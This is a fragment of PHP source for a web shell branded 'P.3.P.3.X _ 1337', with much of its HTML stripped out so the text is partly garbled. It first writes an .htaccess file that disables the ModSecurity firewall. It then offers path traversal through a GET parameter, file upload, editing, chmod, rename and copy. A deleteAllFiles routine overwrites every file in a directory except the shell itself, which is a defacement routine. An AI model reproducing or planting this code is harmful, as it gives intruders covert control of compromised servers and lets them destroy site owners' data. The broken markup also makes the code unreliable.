SecRuleEngine Off
SecFilterInheritance Off
SecFilterEngine Off
";
$file = @fopen(".htaccess", "w");
@fwrite($file, $text);
@fclose($file);
function cwd() {
if (isset($_GET['path'])) {
$cwd = @str_replace('\\', '/', $_GET['path']);
@chdir($cwd);
} else {
$cwd = @str_replace('\\', '/', @getcwd());
} return $cwd;
} function pwd() {
$dir = @explode("/", @cwd());
foreach ($dir as $key => $pwd) {
print("".$pwd."/");
}
} function perms($filename) {
$perms = fileperms($filename);
switch ($perms & 0xF000) {
case 0xC000: // socket
$info = 's';
break;
case 0xA000: // symbolic link
$info = 'l';
break;
case 0x8000: // regular
$info = 'r';
break;
case 0x6000: // block special
$info = 'b';
break;
case 0x4000: // directory
$info = 'd';
break;
case 0x2000: // character special
$info = 'c';
break;
case 0x1000: // FIFO pipe
$info = 'p';
break;
default: // unknown
$info = 'u';
} $info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
} function permission($filename, $perms) {
if (!is_writable($filename)) {
?> ".$value."";
return $action;
} function tools($toolsname, $value) {
$tools = "";
return $tools;
} function redirect($path, $cwd) {
?>
".$value."";
return $back;
} function getPath() {
$getPath = @scandir(PATH);
return $getPath;
} function size($filename) {
$size = @filesize($filename)/1024;
$size = @round($size, 3);
if ($size > 1024) {
$size = @round($size/1024,2). 'MB';
} else {
$size = $size. 'KB';
} return $size;
} function backup($post, $filename) {
if ($_GET['do'] == $post) {
$file = @file_get_contents($filename);
$fp = @fopen($filename.".bak", "w");
@fwrite($fp, $file);
@fclose($fp);
}
} function deleteAllFiles($dir, $text, $filename) {
$getFile = @scandir($dir);
foreach ($getFile as $file) {
if ($file != "." && $file != ".." ) {
$noDelete = @array(@basename(__FILE__), $filename);
if (in_array($file, $noDelete)) {
continue;
}
$fp = @fopen($dir.DIRECTORY_SEPARATOR.$file, "w");
if (@fwrite($fp, $text)) {
?>
OK
|
MAKE FILE
|
".$filename." Successfully") ?> |
".$filename." Failed") ?> |
".$dirname." Successfully");
} else {
@failed("Create dir ".$dirname." Failed");
}
}
?>
CHANGE MODE |
".@substr(sprintf('%o', @fileperms($filename)), -4)." to ".$_POST['mode']." Successfully") ?> |
|
".$filename." Copied to ".$_POST['to']."");
} else {
@failed("File ".$filename." Copied Failed");
}
}
?>
FILE EDITOR |
|
|
RENAME |
|
P.3.P.3.X _ 1337
|
System :
|
".$_FILES['file']['name']."");
} else {
@failed("Upload Failed");
}
}
?>
|
|
Filename |
Permission |
Size |
|
Directory '".PATH."' is not exists.> | ");
if(!is_readable(PATH)) die("
Directory '".PATH."' not readable.> |
");
foreach (@getPath() as $dir) {
if (!is_dir($dir)) continue;
if ($dir === '.' || $dir === '..') continue;
?>
|
|
-- |
|
|
|
|
|
© - P.3.P.3.X _ 1337 |
|